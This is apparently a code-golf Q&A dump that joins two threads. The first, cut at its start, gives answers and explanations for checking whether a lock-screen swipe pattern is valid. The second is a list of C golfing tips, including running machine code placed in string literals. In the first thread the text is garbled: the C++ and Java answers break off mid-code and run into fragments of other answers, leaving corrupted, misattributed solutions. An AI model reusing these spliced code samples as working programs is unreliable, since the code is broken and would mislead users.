(vectorises) [1,1] [1,1] [8,1] [1,1] [10,1] [1,11]\n H - halve (vectorises) [0.5,0.5] [0.5,0.5] [4,0.5] [0.5,0.5] [5,0.5] [0.5,5.5]\n ; - concatenate [0.5,0.5,3,4] [0.5,0.5,4,7] [4,0.5,7,1] [0.5,0.5,1,2] [5,0.5,2,8] [0.5,5.5,8,3]\n F - flatten [0.5,0.5,3,4, 0.5,0.5,4,7, 4,0.5,7,1, 0.5,0.5,1,2, 5,0.5,2,8, 0.5,5.5,8,3]\n Ƈ - keep those for which:\n Ƒ - is invariant under?:\n Ḟ - floor [ 3,4, 4,7, 4, 7,1, 1,2, 5, 2,8, ,8,3]\n Q - deduplicate [3,4,7,1,2,5,8]\n ⁼ - equal to the input? e.g. 0 (here because 5 was introduced AND because 3 was removed from the right)\n```\n---\nPrevious method\n[Jelly](https://github.com/DennisMitchell/jelly), ~~36~~ 35 [bytes](https://github.com/DennisMitchell/jelly/wiki/Code-page)\n```\n9s3;Z$;“Æ7a‘DZ¤;U$;©0m€2iị®oµƝFQ⁼ȧȦ\n```\n[Try it online!](https://tio.run/##AUwAs/9qZWxsef//OXMzO1okO@KAnMOGN2HigJhEWsKkO1UkO8KpMG3igqwyaeG7i8Kub8K1xp1GUeKBvMinyKb///9bMSw1LDcsOCw0LDJd \"Jelly – Try It Online\") or see a [test-suite](https://tio.run/##y0rNyan8/9@y2Ng6SsX6UcOcw23miY8aZrhEHVpiHapifWilQe6jpjVGmQ93dx9al39o67G5boGPGvecWH5i2f/D7UCpo3scjk56uHMGkOkNxJH//0dHx@pEG4KwjjGQNNYxBJPGEBEdczBtqmOiA1FjqWMOFDUFs410zIDiFkAxmDojsEoUETBpBiRNgeJGUFVAE@Amm0PFTcDmGUPtgYibwHWYoZgcCwA \"Jelly – Try It Online\").\n### How?\nSimilar to the above but constructs all three-node-line possibilities and performs look-up (rather than checking as it goes using divmod to test and halving the sum for the mid-node).\nFirstly the construction of the list of three-node-lines:\n```\n9s3;Z$;“Æ7a‘DZ¤;U$;©0\n9s3 - nine (implicit range) split into threes = [[1,2,3],[4,5,6],[7,8,9]]\n $ - last two links as a monad:\n Z - transpose = [[1,4,7],[2,5,8],[6,7,9]]\n ; - concatenate = [[1,2,3],[4,5,6],[7,8,9],[1,4,7],[2,5,8],[3,6,9]]\n ¤ - nilad followed by link(s) as a nilad:\n “Æ7a‘ - code-page index list = [13,55,97]\n D - decimal (vectorises) = [[1,3],[5,5],[9,7]]\n Z - transpose = [[1,5,9],[3,5,7]]\n ; - concatenate = [[1,2,3],[4,5,6],[7,8,9],[1,4,7],[2,5,8],[3,6,9],[1,5,9],[3,5,7]]\n $ - last two links as a monad:\n U - upend = [[3,2,1],[6,5,4],[9,8,7],[7,4,1],[8,5,2],[9,6,3],[9,5,1],[7,5,3]]\n ; - concatenate = [[1,2,3],[4,5,6],[7,8,9],[1,4,7],[2,5,8],[3,6,9],[1,5,9],[3,5,7],[3,2,1],[6,5,4],[9,8,7],[7,4,1],[8,5,2],[9,6,3],[9,5,1],[7,5,3]]\n 0 - literal zero (to cater for non-matches in the main link since ị, index into, is 1-based and modular the 0th index is the rightmost)\n ; - concatenate = [[1,2,3],[4,5,6],[7,8,9],[1,4,7],[2,5,8],[3,6,9],[1,5,9],[3,5,7],[3,2,1],[6,5,4],[9,8,7],[7,4,1],[8,5,2],[9,6,3],[9,5,1],[7,5,3],0]\n © - copy the result to the register\n```\nNow the decision making:\n```\n...m€2iị®oµƝFQ⁼ȧȦ - left input is a list of integers e.g. [4,5,8,2,3,9,4]\n µƝ - perform the chain to the left for adjacent pairs:\n - i.e. for [a,b] in [[4,5],[5,8],[8,2],[2,3],[3,9],[9,4]]\n... - perform the code described above = [[1,2,3],[4,5,6],[7,8,9],[1,4,7],[2,5,8],[3,6,9],[1,5,9],[3,5,7],[3,2,1],[6,5,4],[9,8,7],[7,4,1],[8,5,2],[9,6,3],[9,5,1],[7,5,3],0]\n m€2 - modulo-2 slice €ach = [[1,3],[4,6],[3,9],[1,7],[2,8],[6,9],[1,9],[3,7],[3,1],[6,4],[9,7],[7,1],[8,2],[9,3],[9,1],[7,3],[0]]\n i - index of [a,b] in that (or 0 if not there) e.g. [0,0,13,0,6,0]\n ® - recall from register = [[1,2,3],[4,5,6],[7,8,9],[1,4,7],[2,5,8],[3,6,9],[1,5,9],[3,5,7],[3,2,1],[6,5,4],[9,8,7],[7,4,1],[8,5,2],[9,6,3],[9,5,1],[7,5,3],0]\n ị - index into (1-based & modular) e.g. [0,0,[8,5,2],0,[3,6,9],0]\n o - OR [a,b] e.g. [[4,5],[5,8],[8,5,2],[2,3],[3,6,9],[9,4]]\n F - flatten e.g. [4,5,5,8,8,5,2,2,3,3,6,9,9,4]\n Q - deduplicate e.g. [4,5,8,2,3,6,9]\n ⁼ - equal to the input? e.g. 0 (here because 6 was introduced AND because 4 was removed from the right)\n Ȧ - any and all? (0 if input is empty [or contains a falsey value when flattened - no such input], 1 otherwise)\n ȧ - AND (to force an empty input to evaluate as 1 AND 0 = 0)\n```\n[Answer]\n# [Stax](https://github.com/tomtheisen/stax), 28 [bytes](https://github.com/tomtheisen/stax/blob/master/docs/packed.md#packed-stax)\n```\næ¡_t¿♂≥7▼├öä▒╨½╧£x╪╨┌i╒ë╖¢g•\n```\n[Run it](http://stax.tomtheisen.com/#c=%C3%A6%C2%A1_t%C2%BF%E2%99%82%E2%89%A57%E2%96%BC%E2%94%9C%C3%B6%C3%A4%E2%96%92%E2%95%A8%C2%BD%E2%95%A7%C2%A3x%E2%95%AA%E2%95%A8%E2%94%8Ci%E2%95%92%C3%AB%E2%95%96%C2%A2g%E2%80%A2&i=%5B1%5D%0A%0A%5B1%2C3%5D%0A%0A%5B3%2C1%5D%0A%0A%5B3%2C3%5D%0A%0A%5B1%2C3%2C7%5D%0A%0A%5B1%2C5%2C4%2C1%5D%0A%0A%5B1%2C9%2C7%2C3%2C5%5D%0A%0A%5B1%2C2%5D%0A%0A%5B1%2C6%5D%0A%0A%5B5%2C8%2C2%5D%0A%0A%5B1%2C2%2C3%2C5%2C7%5D%0A%0A%5B1%2C5%2C7%2C8%2C2%5D%0A%0A%5B4%2C2%2C6%2C3%2C1%5D%0A%0A%5B1%2C5%2C7%2C8%2C4%2C2%5D&a=1&m=1)\nIt produces 0 for false, and positive integers for true. The corresponding ascii representation of the same program is this.\n```\ncu=x%v*x2BF1379E-%_|+YA=!*yhxi(#+*\n```\nThe general idea is calculate several necessary conditions for legal swipe patterns and multiply them all together.\n```\ncu= First: no duplicates\n x%v* Second: length of input minus 1\n x2B Get all adjacent pairs \n F For each pair, execute the rest\n 1379E-% a) Any digits that are not 1, 3, 7, 9?\n _|+Y Get sum of pair, and store in Y register\n A=! b) Sum is not equal to 10?\n * c) multiply; logical and: a, b\n yh half of y; this will be equal to the\n number directly between the current\n pair if there is one\n xi(# d) has the middle number been observed yet?\n + e) plus; logical or: c, d\n * multiply by the accumulated value so far\n```\n[Answer]\n# JavaScript, 112 bytes\n```\nx=>/^(?!.*(.).*\\1|[^5]*(19|28|37|46|91|82|73|64)|[^2]*(13|31)|[^8]*(79|97)|[^4]*(17|71)|[^6]*(39|93))../.test(x)\n```\nMaybe some regex based language should be more shorter. But I don't know.\n```\nf=\nx=>/^(?!.*(.).*\\1|[^5]*(19|28|37|46|91|82|73|64)|[^2]*(13|31)|[^8]*(79|97)|[^4]*(17|71)|[^6]*(39|93))../.test(x)\n```\n```\n is \n```\nThanks to Neil, change `)(?!` to `|` save 3 bytes.\n[Answer]\n# [Husk](https://github.com/barbuz/Husk), ~~25~~ 20 bytes\n```\nS=öufΛ¦1ΣẊ§Jzo½+em‰3\n```\nTakes a list of integers with 0-based indexing.\nReturns 0 or 1.\n[Try it online!](https://tio.run/##yygtzv6vkKtR/KipsUjz0Lb/wbaHt5WmnZt9aJnhucUPd3UdWu5VlX9or3Zq7qOGDcb///@PNojlijbQMQSTRmDSFEga6RiASYiIkY4ZkDbRMQerM9Ex0LEAi5voGOtA9QPVmIBVgUTNoCqB6oBsoAyQbQxUY6pjBFUPUWMMVmUIVWUONNcUKGYCFTOGi5kBxQA \"Husk – Try It Online\")\n## Explanation\nI stole some ideas from Jonathan Allan's [Jelly answer](https://codegolf.stackexchange.com/a/155617/32014).\nThe idea is the same: insert a new \"average node\" between each adjacent pair, filter out those that are not actual nodes, remove duplicates and compare to the original list.\nIf the original list contains duplicates, the result is falsy.\nIf the list skips an unvisited node, then it is present in the processed list between the corresponding pair, and the result is falsy.\nIf the input is a singleton, the processed list is empty, and the result is falsy.\nOtherwise, it is truthy.\n```\nS=öufΛ¦1ΣẊ§Jzo½+em‰3 Implicit input, say [0,4,6,7,1]\n m‰3 Divmod each by 3: L = [[0,0],[1,1],[2,0],[2,1],[0,1]]\n Ẋ§Jzo½+e This part inserts the middle node between adjacent nodes.\n Ẋ Do this for each adjacent pair, e.g. [1,1],[2,0]:\n § Apply two functions and combine results with third.\n zo½+ First function:\n z Zip with\n + addition,\n o½ then halve: N = [3/2,1/2]\n e Second function: pair: P = [[1,1],[2,0]]\n J Combining function: join P with N: [[1,1],[3/2,1/2],[2,0]]\n Result is a list of such triples.\n Σ Concatenate: [[0,0],[1/2,1/2],[1,1],[1,1],[3/2,1/2],...,[0,1]]\n f Keep only those pairs\n Λ both of whose elements\n ¦1 are divisible by 1, i.e. are integers: [[0,0],[1,1],[1,1],,...,[0,1]]\n u Remove duplicates: [[0,0],[1,1],[2,0],[2,1],[0,1]]\nS=ö Is the result equal to L? Implicitly print 1 or 0.\n```\n[Answer]\n# [Retina 0.8.2](https://github.com/m-ender/retina/wiki/The-Language/a950ad7d925ec9316e3e2fb2cf5d49fd15d23e3d), 98 bytes\nInfluenced by tsh's [answer](https://codegolf.stackexchange.com/a/155582/34718). I tried to \"rephrase\" it to be the opposite, matching invalid swipes, then Anti-grepping.\n```\nA`(.).*\\1|^([^5]*(19|28|37|46|91|82|73|64)|[^2]*(13|31)|[^8]*(79|97)|[^4]*(17|71)|[^6]*(39|93)|.$)\n```\n[**Try it online**](https://tio.run/##HYoxDgIxDAR7vwOk5IpIjpM4KXnHQXQUFDQUiHL/Huzrdmb2@/q9P891DQet2xFSTNudMcM@62MLPJA7RFEaBqNnqKCViH1mzwJhh26gA0MdiheFnqUZiBWJSJe4FhNnYiFuJExiQ5RqN1eLN6lqU10MlUolN/u5KfkP)\n[Answer]\n## C++, ~~267~~ 256 bytes\n```\n#define R)return 0\n#define H(a,q)if(d==q&&n==a&&!m[a]R;\nint v(int s[],int l){if(l<2 R;int m[10]{},i=1,p=s[0],d,n;for(;im|A**mEx%2m|A**mE` For each invalid node list, perform the following checks. The result of the check results are `and`ed using the `**`. Since there are 8 invalid node lists, the result of this code will be an array of 8 elements. The final `E` dispatches the array to its individual elements on the main stack.\n`xs:I` get the index of the node list elements in the input array.\n`Bc0m|A` tests whether both indexes of the \"end nodes\" are nonnegative. (i.e. they both appear in the input).\nTwo additional tests are performed,\n`x%2<` tests whether the input array is a singleton.\n`xu%x%=!` tests whether are nodes that have been visited twice.\nThere are 10 test result on the main stack (one for each of the invalid node list, plus two additional tests).\n`L|+` collects the 10 elements and adds them. `|a` could have also been used which simply checks whether there are any truthy elements on the array.\nImplicit output.\n[Answer]\n## Java, ~~375~~ 355 bytes\n-20 bytes thanks to Zacharý\n```\nint v(int s[]){int[]m=new int[10];int i=1,p=s[0],d,n,l=s.length;if(l<2)return 0;for(;i>1in v or q;v|={l};n in v>q\n```\n[Try it online!](https://tio.run/##bZBPc4IwEMXvfIodO1YdMyqgrcXBmz22l94cDymEIVMMGALWqp@dbkL8M53msFnevn0/oDioNBdeE@UxCzudTlOHx5ezU4ZcFJXqD5wklyBIBlzADy/65doNNijtSDkIxNgfZmP/0T2JLnZd7LR7mC2XLvpr0MZFfQqP2XkhdES93DVIcfYpzxh8yIoFDoCSB30BsG8WgX4VaM@DUSrFQKXMDAjwBLiCmMeip0BSXrIYqICVlEgbjUYmqJBcKOgpWan00NNBODEh5rtgT0toh46mRqxQ8Ea3zKQEaEfKBXmF3Bx/OQnNSo35l2OGN8zq/dVSWsweAYxGKRL0HhMx5MldxAX1ia4vuB2LYnLLBbV/KMvzollPiLtxsM6wTsmzfXKJR6bkyfR4W91HfYaTyZ3utxtG8UydY209nlW8a5Jvd@e4i4TNLw \"Python 2 – Try It Online\")\n[Answer]\n# [Japt](https://github.com/ETHproductions/japt), 35 bytes\n```\neUä@[(Xu3 aYu3)¥1ªX+Y ÷2XY]Ãc f9o)â\n```\n[Try it online!](https://ethproductions.github.io/japt/?v=2.0a0&code=VWVV5EBbKFh1MyBhWXUzKaUxqlgrWSD3MlhZXcNjIGY5byni&input=LW1SIFsKWzBdLCAvLyBmYWxzZQpbMCwxXSwgLy8gdHJ1ZQpbMCwyXSwgLy8gZmFsc2UKWzAsNV0sIC8vIHRydWUKWzIsMF0sIC8vIGZhbHNlClsyLDJdLCAvLyBmYWxzZQpbMCwyLDZdLCAvLyBmYWxzZQpbNCw3LDFdLCAvLyB0cnVlCls0LDAsOF0sIC8vIHRydWUKWzAsNCwzLDBdLCAvLyBmYWxzZQpbMCwxLDIsNCw2XSwgLy8gdHJ1ZQpbMCw0LDYsNywxXSwgLy8gdHJ1ZQpbMCw4LDYsMiw0XSwgLy8gZmFsc2UKWzMsMSw1LDIsMF0sIC8vIHRydWUKWzAsNCw2LDcsMywxXSwgLy8gdHJ1ZQpbMCw1LDYsMSw4LDMsMiw3LDRdLCAvLyB0cnVlClsxLDgsNiwyLDcsMCw1LDMsNF0sIC8vIGZhbHNlClsxLDgsMywyLDcsMCw1LDYsNF0gLy8gdHJ1ZQpd)\n### Slightly ungolfed & How it works\n```\neUä@[(Xu3 aYu3)¥1ªX+Y ÷2XY]Ãc f9o)â\nImplicit beginning U(input) and some arbitrary sequence conversions\nUeUä@[(Xu3 aYu3)==1||X+Y ÷2XY]} c f9o)â\n Uä Convert the input array into length-2 subsections and map...\n @[ ... ]} function of X,Y which returns an array of...\n Xu3 aYu3==1||X+Y ÷2 (abs(X%3 - Y%3)==1||X+Y)/2,\n XY X, Y\n c Flatten the result of mapping\n f9o Intersect with range(9)\n â Take unique elements, preserving order\nUe Is the result the same as original array?\n```\nPorted the idea from [this Jelly solution](https://codegolf.stackexchange.com/a/155617/78410), with some difference in determining potential jumps:\n* The Jelly answer uses divmod to see if a pair has difference of 2 when applied `/3` or `%3`.\n* This answer uses only `%3` and checks if the difference is 0 or 2. If the difference is 0, the two cells are vertically aligned, and non-jumps still share the property of `(X+Y)%2 != 0`.\n[Answer]\n# [Vyxal](https://github.com/Vyxal/Vyxal), 26 bytes\n```\n2lƛ∑n3vḋ∩vƒ-vṅv∨½p;f~¨=⌊U⁼\n```\n[Try it Online!](https://vyxal.pythonanywhere.com/#WyIiLCIiLCIybMab4oiRbjN24biL4oipdsaSLXbhuYV24oiowr1wO2Z+wqg94oyKVeKBvCIsIiIsIlsyLCA5LCA0LCAzLCA4LCAxLCA2LCA3LCA1XSJd)\nPort of Jelly.\n[Answer]\n# [Pyth](https://pyth.readthedocs.io), 33 bytes\n```\nq{@U9.nm+mc|g1aZksd2-MC.DR3d_dC,t\n```\n**[Test suite.](http://pyth.herokuapp.com/?code=q%7B%40U9.nm%2Bmc%7Cg1aZksd2-MC.DR3d_dC%2Ct&test_suite=1&test_suite_input=%5B0%2C+1%5D%0A%5B0%2C+5%5D%0A%5B4%2C+7%2C+1%5D%0A%5B0%2C+1%2C+2%2C+4%2C+6%5D%0A%5B0%2C+4%2C+6%2C+7%2C+1%5D%0A%5B3%2C+1%2C+5%2C+2%2C+0%5D%0A%5B0%2C+4%2C+6%2C+7%2C+3%2C+1%5D%0A%5B0%5D%0A%5B0%2C+2%5D%0A%5B0%2C+8%5D%0A%5B2%2C+0%5D%0A%5B2%2C+2%5D%0A%5B0%2C+2%2C+6%5D%0A%5B0%2C+4%2C+3%2C+0%5D%0A%5B0%2C+8%2C+6%2C+2%2C+4%5D&debug=0)**\nUses 0-based indexing.\n## Explanation\n```\nq{@U9.nm+mc|g1aZksd2-MC.DR3d_dC,t –> Full program. Input: a list L from STDIN.\n ,t –> Pair L with L without the first element.\n C –> Transpose.\n m –> Map over the list of pairs (2-element lists):\n +mc|g1aZksd2-MC.DR3d –> The function to be mapped (variable: d):\n R d –> For each element of d ...\n .D 3 –> ... Take its divmod by 3.\n C –> Tranpose.\n -M –> Reduce each by subtraction.\n m –> For each difference (variable: k):\n g1aZl –> Is |k| ≤ 1?\n | sd –> If that's falsy, replace it by the sum of d.\n c 2 –> Divide by 2.\n + _d –> Append the reverse of d to the result of mapping.\n .n –> Flatten.\n @U9 –> Take the intersection with (ℤ ∩ [0; 9)).\n { –> Deduplicate.\nq –> And check whether the result equals L.\n```\nAlternative approach for **34 bytes**:\n```\nq{sI#I#+Fm+,hdcR2+MCd]edCtBK.DR3QK\n```\n[Answer]\n# Haskell, 97 bytes\n```\n(%)=elem\nf(h:t)=t>[]&&and[x%a<(gcd(x*v)10>1&&x+v/=10||div(x+v)2%a)|x:a@(v:_)<-scanl(flip(:))[h]t]\n```\n[Try it online!](https://tio.run/##VY5db4IwGIXv@yvekWnaDTbLhyARs2TZ1WZ2sUtHlkaKktVCSkEu/O@uaOKgd@ec57w9e1b/ciHOZzwhCRf8gHK8jzVJ9GqTTqdMZptuwpZ4t81w99ASOlvR6bR7bJ8TOjudsqLFRhB3wsipi9kLbuMfsnTqLZMC56KocEzIZp/q9JyXag0J9CYcWLVGB1ZIY2QlAtjB0oEd16@l1Fzq2lgXHotC8hp2BO7hW4CzuuIAgmvYFDZTqjzaZWruHEuV1SAuadXoL60@pGk18hoYGK40lDZYjuNYNhQ55IDNGqw4y56qRnFSEEgSwGWSWFo13CKg91yC9fluARc1B@vNnFF3Vnqm/aCc9Wb/EHV7o29dlDeMEZ3/h8gbVZE3RE0xHKVudJMoiAZ/oIAuBooGPh3dcb0gHCzqiTAab1yEXjDs@O78uu1GmIo//JPOQ3fhe1EwpFxzJ6JzPxgP7znD39A/ \"Haskell – Try It Online\")\nMake sure `t>[]` (so length ≥ 2), and then: for each reversed-prefix matching `x:a@(v:_)`, check whether visiting `x` when coming from `v` (and having visited all of `a` so far) is valid.\nGoing from `v` to `x` is legal under these conditions:\n* `x%a<` — we have not yet visited `x`, and…\n* `gcd(x*v)10>1&&x+v/=10` — `v` and `x` are *not* opposites, or\n\t+ `div(x+v)2%a` — if they are, at least we've visited the number between them.\nFlipped back around, our \"opposites check\" is `gcd(x*v)10==1||x+v==10`. The `gcd` trick works because `x*v` can only be coprime to 10 if both of `x` or `v` are among `[1,3,7,9]` (opposing corners). Then, `x+v==10` takes care of the even digits.\n[Answer]\n# [05AB1E](https://github.com/Adriandmen/05AB1E/wiki/Commands), 25 [bytes](https://github.com/Adriandmen/05AB1E/wiki/Codepage)\n```\nü‚εODÈ*y3‰øÆÄ2@·÷0Ky«}˜ÙQ\n```\nPort of [*@JonathanAllan*'s Jelly answer](https://codegolf.stackexchange.com/a/155617/52210), so make sure to upvote him!!\nInput as a 0-based list of digits.\n[Try it online](https://tio.run/##AUEAvv9vc2FiaWX//8O84oCazrVPRMOIKnkz4oCww7jDhsOEMkDCt8O3MEt5wqt9y5zDmVH//1szLDQsNywxLDIsOCwzXQ) or [verify all test cases](https://tio.run/##yy9OTMpM/V9Waa@k8KhtkoKSfaXL/8N7HjXMOrfV3@Vwh1al8aOGDYd3HG473GLkcGj74e0G3pWHVteennN4ZuB/nf/R0QY6hrE6CkDKFESZ6JhD@CY6BjoWEAlDHSMdEx0zCAfIgCkxBsqYAuUMkGWM4cYBuYY6FkABI6CwCUgQwYVIgwWhuo1AFNQsIwgPKIiw1RhmjQVQoxFEq7EO2LlALtBcmAVmcAuA0rGxAA).\n**Explanation:**\n```\nü‚ # Create overlapping pairs of the (implicit) input-list:\n # i.e. [3,4,7,1,2,8,3] → [[3,4],[4,7],[7,1],[1,2],[2,8],[8,3]]\n ε # Map each pair `y` to:\n O # Take the sum of the pair\n # → [7,11,8,3,10,11]\n DÈ # Duplicate the sum, and check whether it's even (1 if truhy; 0 if falsey)\n # → [0,0,1,0,1,0]\n * # And multiply it by the sum\n # → [0,0,8,0,10,0]\n y # Push the current pair again\n 3‰ # Take the divmod-3 on both values\n # → [[[1,0],[1,1]],[[1,1],[2,1]],[[2,1],[0,1]],[[0,1],[0,2]],[[0,2],[2,2]],[[2,2],[1,0]]]\n ø # Zip/transpose; swapping rows/columns\n # → [[[1,1],[0,1]],[[1,2],[1,1]],[[2,0],[1,1]],[[0,0],[1,2]],[[0,2],[2,2]],[[2,1],[2,0]]]\n Æ # Reduce each by subtracting\n # → [[0,-1],[-1,0],[2,0],[0,-1],[-2,0],[1,2]]\n Ä # Take the absolute value of each\n # → [[0,1],[1,0],[2,0],[0,1],[2,0],[1,2]]\n 2@ # Check for each that it's >=2 (1 if truthy; 0 if falsey)\n # → [[0,0],[0,0],[1,0],[0,0],[1,0],[0,1]]\n · # Double each\n # → [[0,0],[0,0],[2,0],[0,0],[2,0],[0,2]]\n ÷ # (Integer-)divide the earlier sum by this,\n # where dividing by 0 results in 0 in this 05AB1E version\n # → [[0,0],[0,0],[4,0],[0,0],[5,0],[0,0]]\n 0K # Remove all 0s\n # → [[],[],[4],[],[5],[]]\n y« # Merge the pair to it\n # → [[3,4],[4,7],[4,7,1],[1,2],[5,2,8],[8,3]]\n}˜ # After the map: flatten the list\n # → [3,4,4,7,4,7,1,1,2,5,2,8,8,3]\n Ù # Uniquify it\n # → [3,4,7,1,2,5,8]\n Q # And check whether it's equal to the (implicit) input-list\n # → 0 (falsey)\n # (after which this result is output implicitly)\n```\n]"}}},{"rowIdx":51,"cells":{"text":{"kind":"string","value":"[Question]\n [\nWhat general tips do you have for golfing in C? I'm looking for ideas that can be applied to code golf problems in general that are at least somewhat specific to C (e.g. \"remove comments\" is not an answer). Please post one tip per answer. Also, please include if your tip applies to C89 and/or C99 and if it only works on certain compilers.\n \n[Answer]\nUse bitwise XOR to check for inequality between integers:\n`if(a^b)` instead of `if(a!=b)` saves 1 character.\n[Answer]\n* Abuse `main`'s argument list to declare one or more integer variables:\n```\nmain(a){for(;++a<28;)putchar(95+a);}\n```\n*(answer to [The alphabet in programming languages](https://codegolf.stackexchange.com/questions/2078/the-alphabet-in-programming-languages/2093#2093))*\nThis solution also abuses the fact that `a` (a.k.a. `argc`) starts out as `1`, provided the program is called with no arguments.\n* Use global variables to initialize things to zero:\n```\nt[52],i;main(c){for(;i<52;)(c=getchar())<11?i+=26:t[i+c-97]++;\nfor(i=27;--i&&t[i-1]==t[i+25];);puts(i?\"false\":\"true\");}\n```\n*(answer to [Anagram Code Golf!](https://codegolf.stackexchange.com/questions/1294/anagram-code-golf/1307#1307))*\n[Answer]\n# Avoid catastrophic function-argument type declarations\nIf you're declaring a function where all five arguments are `int`s, then life is good. you can simply write\n```\nf(a,b,c,d,e){\n```\nBut suppose `d` needs to be a `char`, or even an `int*`. Then you're screwed! If one parameter is preceded by a type, all of them must be:\n```\nf(int a,int b,int c,int*d,int e){\n```\nBut wait! There is a way around this disastrous explosion of useless characters. It goes like this:\n```\nf(a,b,c,d,e) int *d; {\n```\nThis even saves on a standard `main` declaration if you need to use the command-line arguments:\n```\nmain(c,v)char**v;{\n```\nis two bytes shorter than\n```\nmain(int c,char**v){\n```\nI was surprised to discover this, as I have not so far encountered it on PPCG.\n[Answer]\nThe comma operator can be used to execute multiple expressions in a single block while avoiding braces:\n```\nmain(){ \nint i = 0; \nint j = 1; \nif(1) \n i=j,j+=1,printf(\"%d %d\\n\",i,j); // multiple statements are all executed \nelse \n printf(\"failed\\n\"); \n}\n```\nOutputs: `1 2`\n[Answer]\nInstead of >= and <= you can simply use integer division (/) when the compared values are above zero, which saves one character. For example:\n```\nputchar(c/32&&126/c?c:46); //Prints the character, but if it is unprintable print \".\"\n```\nWhich is of course still shrinkable, using for example just > and ^ (a smart way to avoid writing && or || in some cases).\n```\nputchar(c>31^c>126?c:46);\n```\nThe integer division trick is for example useful to decide whether a number is less than 100, as this saves a character:\n```\na<100 vs 99/a\n```\nThis is also good in cases when higher precedence is needed.\n[Answer]\nCertain compilers, such as GCC, allow you to omit basic `#include`s, param, and return types for `main`.\nThe following is a valid C89 and C99 program that compiles (with warnings) with GCC:\n```\nmain(i) { printf(\"%d\", i); }\n```\nNotice that the `#include` for stdio.h is missing, the return type for `main` is missing, and the type declaration for `i` is missing.\n[Answer]\n# Use lambdas (unportable)\nInstead of\n```\nf(int*a,int*b){return*a>*b?1:-1;}\n...\nqsort(a,b,4,f);\n```\nor (gcc only)\n```\nqsort(a,b,4,({int L(int*a,int*b){a=*a>*b?1:-1;}L;}));\n```\nor (clang with blocks support)\n```\nqsort_b(a,b,4,^(const void*a,const void*b){return*(int*)a>*(int*)b?1:-1;});\n```\ntry something like\n```\nqsort(a,b,4,\"\\x8b\\7+\\6\\xc3\");\n```\n...where the string literal contains the machine language instructions of your \"lambda\" function (conforming to all platform ABI requirements).\nThis works in environments in which string constants are marked executable. By default this is true in Linux and OSX but not Windows.\nOne silly way to learn to write your own \"lambda\" functions is to write the function in C, compile it, inspect it with something like `objdump -D` and copy the corresponding hex code into a string. For example,\n```\nint f(int*a, int*b){return *a-*b;}\n```\n...when compiled with `gcc -Os -c` for a Linux x86\\_64 target generates something like\n```\n0: 8b 07 mov (%rdi),%eax\n2: 2b 06 sub (%rsi),%eax\n4: c3 retq\n```\n[MD XF](https://codegolf.stackexchange.com/users/61563/md-xf) wrote a bash [script](https://gist.github.com/aaronryank/c6fd96d543658b19ed9268a3844d0657) that may assist in the writing of simple \"lambda\" functions.\nEdit: This technique was previously published by Shinichiro Hamaji in [this document](http://shinh.skr.jp/dat_dir/golf_prosym.pdf).\n# GNU CC `goto`:\nYou can call these \"lambda functions\" directly but if the code you're calling doesn't take parameters and isn't going to return, you can use `goto` to save a few bytes. So instead of\n```\n((int(*)())L\"ﻫ\")();\n```\nor (if your environment doesn't have Arabic glyphs)\n```\n((int(*)())L\"\\xfeeb\")();\n```\nTry\n```\ngoto*&L\"ﻫ\";\n```\nor\n```\ngoto*&L\"\\xfeeb\";\n```\nIn this example, `eb fe` is x86 machine language for something like `for(;;);` and is a simple example of something that doesn't take parameters and isn't going to return :-)\nIt turns out you can `goto` code that returns to a calling parent.\n```\n#include\nint f(int a){\n if(!a)return 1;\n goto*&L\"\\xc3c031\"; // return 0;\n return 2; // never gets here\n}\nint main(){\n printf(\"f(0)=%d f(1)=%d\\n\",f(0),f(1));\n}\n```\nThe above example (might compile and run on Linux with `gcc -O`) is sensitive to the stack layout.\nEDIT: Depending on your toolchain, you may have to use the `-zexecstack` (for gcc) or `-Wl,-z,execstack` (for clang) compile flag.\n*If it isn't immediately apparent, this answer was mainly written for the lols. I take no responsibility for better or worse golfing or adverse psychological outcomes from reading this.*\n[Answer]\nThe ternary conditional operator `?:` can often be used as a stand in for simple `if`--`else` statements at considerable savings.\nUnlike [the c++ equivalent](https://codegolf.stackexchange.com/questions/132/tips-for-golfing-in-c/2228#2228) the operator [does not formally yield an lvalue](https://stackoverflow.com/q/1082655/2509), but some compilers (notably gcc) will let you get away with it, which is a nice bonus.\n[Answer]\n\nBits are nice.\n```\n~-x = x - 1\n-~x = x + 1\n```\nBut with different precedences, and don't change x like ++ and --. Also you can use this in really specific cases: ~9 is shorter than -10.\n```\nif(!(x&y)) x | y == x ^ y == x + y\nif(!(~x&y)) x ^ y == x - y\n```\nThat's more esoteric, but I've had occassion to use it.\nIf you don't care about short-circuiting\n```\nx*y == x && y\nif(x!=-y) x+y == x || y\n```\nAlso:\n```\nif(x>0 && y>0) x/y == x>=y \n```\n[Answer]\nDefine parameters instead of variables.\n`f(x){int y=x+1;...}`\n`f(x,y){y=x+1;...}`\nYou don't need to actually pass the second parameter.\nAlso, you can use operator precedence to save parenthesis. \nFor example, `(x+y)*2` can become `x+y<<1`.\n[Answer]\nUse *cursors* instead of pointers. Snag the `brk()` at the beginning and use it as a *base-pointer*.\n```\nchar*m=brk();\n```\nThen make a #define for memory access.\n```\n#define M [m]\n```\n`M` becomes a postfix `*` applied to integers. (The old a[x] == x[a] trick.)\nBut, there's more! Then you can have pointer args and returns in functions that are shorter than macros (especially if you abbreviate 'return'):\n```\nf(x){return x M;} //implicit ints, but they work like pointers\n#define f(x) (x M)\n```\nTo make a cursor from a pointer, you subtract the base-pointer, yielding a ptrdiff\\_t, which truncates into an int, losses is yer biz.\n```\nint p = sbrk(sizeof(whatever)) - m;\nstrcpy(m+p, \"hello world\");\n```\nThis technique is used in my answer to [Write an interpreter for the untyped lambda calculus](https://codegolf.stackexchange.com/questions/284/write-an-interpreter-for-the-untyped-lambda-calculus/3290#3290).\n[Answer]\nThe ternary operator `?:` is unusual in that it has two separate pieces. Because of this, it provides a bit of a loophole to standard operator precedence rules. This can be useful for avoiding parentheses.\nTake the following example:\n```\nif (t()) a = b, b = 0; /* 15 chars */\n```\nThe usual golfing approach is to replace the `if` with `&&`, but because of the low precedence of the comma operator, you need an extra pair of parentheses:\n```\nt() && (a = b, b = 0); /* still 15 chars */\n```\nThe middle section of the ternary operator doesn't need parentheses, though:\n```\nt() ? a = b, b = 0 : 0; /* 14 chars */\n```\nSimilar comments apply to array subscripts.\n[Answer]\nAny part of your code that repeats several times is a candidate for replacement with the pre-processor.\n```\n#define R return\n```\nis a very common use case if you code involves more than a couple of functions. Other longish keywords like `while`, `double`, `switch`, and `case` are also candidates; as well as anything that is idomatic in your code.\nI generally reserve uppercase character for this purpose.\n[Answer]\nSince usually `EOF == -1`, use the bitwise NOT operator to check for EOF: `while(~(c=getchar()))` or 